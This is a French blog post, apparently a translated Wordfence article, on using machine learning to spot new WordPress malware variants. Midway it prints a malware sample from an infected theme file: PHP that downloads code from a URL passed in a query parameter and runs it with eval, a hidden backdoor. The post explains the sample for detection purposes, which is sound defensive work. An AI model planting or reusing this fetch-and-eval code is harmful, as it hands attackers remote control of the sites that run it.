Wordfence est le leader de la sécurité WordPress, protégeant plus de 4 millions de sites WordPress contre les attaques malveillantes. Avec de nouvelles variantes de malwares découvertes quotidiennement, nous avons désormais une nouvelle arme dans notre arsenal contre les attaques WordPress: le Machine Learning.

Comment Wordfence identifie les logiciels malveillants

Pendant des années, l’équipe de Wordfence Threat Intelligence a su garder une longueur d’avance sur les attaquants en identifiant rapidement les nouvelles variantes de logiciels malveillants à mesure qu’elles se présentent. Rien qu’en 2020, notre équipe a identifié 1 000 994 nouveaux fichiers de malwares et déployé rapidement 957 signatures de malwares pour les détecter. Ces signatures identifient et correspondent aux modèles utilisés par les auteurs de logiciels malveillants, alertant les propriétaires de sites WordPress lorsqu’un malware est détecté.

Alors que la plupart des nouveaux échantillons sont similaires aux logiciels malveillants que nous avons vus auparavant, quelques-uns échappent parfois à nos signatures, généralement par le biais de mutations évasives dans le code. Ceux-ci sont souvent trouvés par notre équipe de nettoyage de site lors d’enquêtes médico-légales.

L’identification humaine de variantes de logiciels malveillants indétectables peut être un processus fastidieux, nécessitant des tests et une vérification pour garantir que nos signatures de logiciels malveillants identifient avec précision les logiciels malveillants émergents, tout en s’assurant qu’ils ne déclenchent pas de faux positifs sur du code valide utilisé sur des millions de sites Web WordPress.

Dans le but d’identifier plus rapidement les logiciels malveillants nouveaux et émergents, l’équipe Wordfence Threat Intelligence a mis en œuvre l’apprentissage automatique pour compléter les efforts de notre équipe.

Qu’est-ce que l’apprentissage automatique?

L’apprentissage automatique est une classe d’algorithmes informatiques qui utilisent des données d’apprentissage pour créer un modèle capable de reconnaître des modèles dans de très grands ensembles de données. Pour appliquer efficacement l’apprentissage automatique, il est important de disposer de données d’entraînement de haute qualité.

L’équipe Wordfence possède, très probablement, la plus grande collection de logiciels malveillants spécifiques à WordPress au monde. Ces échantillons de logiciels malveillants ont été soigneusement classés et conservés, ce qui nous donne un ensemble de données d’entraînement de très haute qualité pour nos algorithmes d’apprentissage automatique.

L’apprentissage automatique alimente un certain nombre d’algorithmes que nous expérimentons quotidiennement. Le contenu recommandé sur Netflix, Spotify ou YouTube, par exemple, est alimenté par l’apprentissage automatique. Ces algorithmes s’entraînent sur les modèles de consommation de médias de millions d’utilisateurs et font des prédictions sur ce que les autres peuvent apprécier.

Utilisation de l’apprentissage automatique pour identifier les logiciels malveillants émergents

Les logiciels malveillants sont écrits à des fins très diverses, telles qu’une porte dérobée, une injection de spam ou une redirection malveillante. Les logiciels malveillants spécifiques à WordPress peuvent être structurés pour se cacher à la vue de tous.

Bien que des logiciels malveillants puissent être détectés lors des analyses, des enquêtes et de la maintenance, le travail de Wordfence sur l’apprentissage automatique a considérablement réduit le temps nécessaire pour identifier les logiciels malveillants, comme l’exemple ci-dessous.

Malware caché à la vue de tous

error_reporting(0);
$ch = curl_init($_GET['url']);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  curl_setopt($ch, CURLOPT_COOKIEJAR,$GLOBALS['coki']);
  curl_setopt($ch, CURLOPT_COOKIEFILE,$GLOBALS['coki']);
$output = curl_exec($ch);
eval ('?>'.$output);
$basepath = dirname(__FILE__);
 
function get_file($path) {
 
    if ( function_exists('realpath') )
        $path = realpath($path);
 
    if ( ! $path || ! @is_file($path) )
        return false;
 
    return @file_get_contents($path);
}

L’exemple ci-dessus est un extrait de ce qui semble être un fichier de thème. À l’origine, il était peut-être responsable de la récupération des mises à jour des fichiers de thème. Mais avec cette infection, il peut également récupérer une charge utile de code malveillant, en l’exécutant sur le site infecté. Ce malware peut être utilisé pour ajouter des redirections malveillantes, des portes dérobées, des fichiers de spam ou des liens de spam, ou même pour maintenir un accès permanent à un site infecté.

Le malware tente de se «cacher à la vue» en se déguisant le moins possible. Il contacte une adresse Web via curl et exécute le code qu’il renvoie, permettant à de nouveaux logiciels malveillants d’être déployés par un attaquant à la demande.

Les logiciels Premium incluent souvent des scripts de composants «mise à niveau» et «installateur» qui se comportent de la même manière. Le code malveillant, bien que suspect, ne serait pas déplacé dans de nombreux thèmes ou plugins WordPress premium, ce qui le rend plus difficile à identifier.

Comme il s’agit d’une nouvelle variante, elle ne correspondait pas à nos modèles de logiciels malveillants existants. Lors d’une inspection manuelle, un analyste humain identifierait rapidement cela comme un logiciel malveillant, mais l’examen manuel de chaque nouveau fichier demande beaucoup de travail et ne s’adapte pas bien. L’apprentissage automatique automatise ce processus et nous permet d’identifier les variantes émergentes de logiciels malveillants bien plus rapidement que ne le pourrait même une grande équipe d’analystes humains.

L’apprentissage automatique multiplie efficacement notre capacité à effectuer des évaluations initiales, à localiser le code suspect sans nécessiter de modèle ou d’heuristique spécifique. Cela libère nos analystes afin qu’ils puissent concentrer leur énergie sur des tâches d’intelligence humaine plus importantes, comme choisir entre une machine à café Nespresso ou Keurig pour ces enquêtes de fin de soirée.

Une fois que nos algorithmes d’apprentissage automatique ont identifié les logiciels malveillants émergents tels que l’exemple ci-dessus, un analyste de Wordfence vérifie la découverte, crée une nouvelle règle de pare-feu si nécessaire et crée une nouvelle signature de logiciel malveillant pour détecter le malware, qui est ensuite diffusée à nos clients Wordfence Premium. en temps réel.

Conclusion

Wordfence continue d’évaluer les nouvelles technologies. En 2015, nous avions déjà un cluster personnalisé de processeurs GPU en production pour aider nos clients à choisir des mots de passe plus sécurisés. Toutes nos expériences ne parviennent pas à la production, mais l’apprentissage automatique est né d’un projet de recherche dans notre organisation en une technologie de production qui permet une identification rapide des menaces émergentes de logiciels malveillants.

Nous tenons à remercier tout particulièrement nos clients WordPress Premium, qui rendent possible ce type de mise en œuvre de pointe. Alors que les acteurs malveillants continuent de cibler WordPress, Wordfence reste le leader pour garantir la sécurité des 4 millions de sites protégés par Wordfence.

Remerciements particuliers à l’ingénieur QA et analyste des menaces Ram Gall pour son aide avec ce billet de blog.


Source link